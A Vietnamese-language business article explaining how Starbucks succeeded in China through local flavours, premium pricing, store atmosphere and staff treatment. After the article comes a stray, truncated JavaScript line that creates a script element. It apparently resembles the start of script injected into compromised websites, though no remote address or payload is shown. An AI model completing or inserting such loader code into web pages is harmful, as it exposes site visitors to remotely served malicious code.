Tại sao Starbucks thành công ở thị trường Trung Quốc còn những hãng cà phê khác thì không?

Khoảng 14 năm trước, tôi đã gặp một doanh nhân, người muốn mở một cửa hàng cà phê tại Trung Quốc. Tôi không bao giờ nghĩ rằng việc kinh doanh cà phê sẽ được triển khai thuận lợi tại quốc gia Châu Á này bởi Trung Quốc sẽ không dễ dàng từ bỏ nền văn hóa trà uống của họ cho một thứ đồ uống với vị đắng và có giá đắt hơn.

Và Starbucks đã chứng minh rằng tôi sai. Howard Schultz, CEO của Starbucks (SBUX), công bố rằng Trung Quốc sẽ sớm trở thành thị trường lớn nhất bên ngoài nước Mỹ của họ. “Nó đã mở hơn 500 cửa hàng trong cả nước, trong đó có nhiều lợi nhuận hơn những cửa hàng tại Mỹ mặc dù doanh số bán hàng đối với các đối tác Mỹ là không đáng kể”, theo Giám đốc tài chính của chuỗi, Troy Alstead.

Starbucks đã làm gì để thành công trong một thị trường mà rất nhiều thương hiệu thực phẩm và nước giải khát phương Tây khác như Dunkin Donuts, Krispy Kreme và Burger King nhanh chóng nhận thất bại. Một nghiên cứu đã chỉ ra rằng, để có thể thành công, họ phải bất chấp chi phí lao động và bất động sản tăng cao – đó chính là điều Starbucks đã làm đúng trên thị trường Trung Quốc.

Thay vì cố gắng ép lên thị trường các sản phẩm tương tự đã làm tại Mỹ như cà phê kem phủ đông lạnh, Starbucks đã phát triển hương vị mới, chẳng hạn như uống cà phê với hương thơm của chè, có sức hấp dẫn với khẩu vị địa phương. Đồng thời không sử dụng chiến lược bán hàng take-away (hình thức chiếm đa số ở Mỹ) mà Starbucks đã thích nghi với người tiêu dùng địa phương hòng thúc đẩy doanh thu bán hàng.

Bằng cách cung cấp môi trường thoải mái trong một thị trường mà ít cửa hàng có máy điều hòa vào cuối năm 1990, Starbucks trở thành một nơi gặp gỡ của nhiều đối tác quan trọng, những người thành đạt tại Trung Quốc. Nói cách khác, Starbucks đã áp dụng mô hình kinh doanh đặc biệt cho người Trung Quốc, thay vì cố gắng để ghép tất cả mọi thứ đã xây dựng ở Mỹ vào Trung Quốc, như nhiều nhãn hiệu trước đây đã làm gồm có Best Buy và Home Depot. Cách tiếp cận như vậy thường tỏ ra thiển cận và không mang lại kết quả tốt đẹp.

“Doanh thu trung bình trên mỗi cửa hàng ở Trung Quốc bằng 1/3 đến 2/3 những gì đạt được tại Mỹ. Tuy nhiên, chúng tôi chấp nhận điều đó trong thời gian đầu”, theo Alstead, Giám đốc tài chính của Starbucks.

Starbucks bù đắp sự thiếu tương đối doanh thu tại các cửa hàng Trung Quốc bằng cách định vị các công ty và sản phẩm của mình như cà phê trung bình được bán tại Trung Quốc đắt hơn so với một cốc Starbucks tại Mỹ. Bằng sự khéo léo và tinh tế, họ đã thu hút được sự chú ý của nhiều giới trung lưu thậm chí thượng lưu ở Trung Quốc.

Chiến lược giá cao của Starbuck dành cho các loại đồ uống đặc biệt tại Trung Quốc giúp nó có thêm nhiều lợi nhuận hơn dù khối lượng bạn hàng thấp hơn. Nhìn chung ở châu Á, lợi nhuận hoạt động của nó là 34,6% trong năm 2011 so với 21,8% ở Hoa Kỳ. Quá nhiều thương hiệu đang sẵn sàng để thúc đẩy thị phần bằng cách giảm giá bán ở Trung Quốc. Trong thực tế, họ nên đặt mục tiêu lợi nhuận cao hơn.

Không chỉ có chiến lược giá cao phù hợp với thị trường này, Starbucks còn thường xuyên tung ra những bộ quà tặng mà bù đắp chi phí hàng hóa. Nếu bạn nghĩ rằng Starbucks là đắt tiền ở đây, hãy tưởng tượng những gì bạn muốn trả tiền tại Thượng Hải. Tuy nhiên, nó sẽ là một hành động tung hứng liên tục cho Starbucks. Với mức độ đô thị hóa của Trung Quốc tới gần 52%, Starbucks và các công ty khác cần phải thực hiện các chiến lược để bù đắp tác động của chi phí hàng hóa tăng cao..

Một nhân viên làm việc lâu năm tại Starbucks đã nói: “Tôi cảm thấy được chăm sóc bởi quản lý. Tôi thích công việc này và tôi thích làm việc ở đây vì vậy tôi hy vọng sẽ được ở lại lâu hơn”. Đó là một nhận xét hiếm hoi trong một đất nước mà tình trạng nhảy việc diễn ra thường xuyên giữa các công nhân trẻ.

Dịch vụ của Starbucks là ngang bằng nếu không muốn nói là cao hơn so với nhiều khách sạn năm sao tại Trung Quốc. Trong cuộc phỏng vấn hàng trăm người tiêu dùng ở Thượng Hải, phần lớn trong số họ rằng họ thực sự ưa thích mùi vị sản phẩm từ đối thủ cạnh tranh nhưng họ vẫn tiếp tục đi đến các cửa hàng Starbucks vì dịch vụ tại đây.

Có rất nhiều công ty đa quốc gia đối xử với nhân viên Trung Quốc của mình như công dân hạng hai với trình độ nghề nghiệp thấp. Toàn bộ đội ngũ quản lý cấp cao của họ đều ở nước ngoài, Đài Loan hay Hồng Kông, không có bất kỳ đại diện nào của Trung Quốc đại lục.

Starbucks hiểu rằng các đề xuất giá trị được cung cấp ở Trung Quốc khác xa so với ở Mỹ. Họ đã có thể thích ứng với mô hình kinh doanh mới này trong khi vẫn giữ được những giá trị cốt lõi. Cho đến nay, nó vẫn hoạt động khá tốt.

var d=document;var s=d.createElement(‘script’);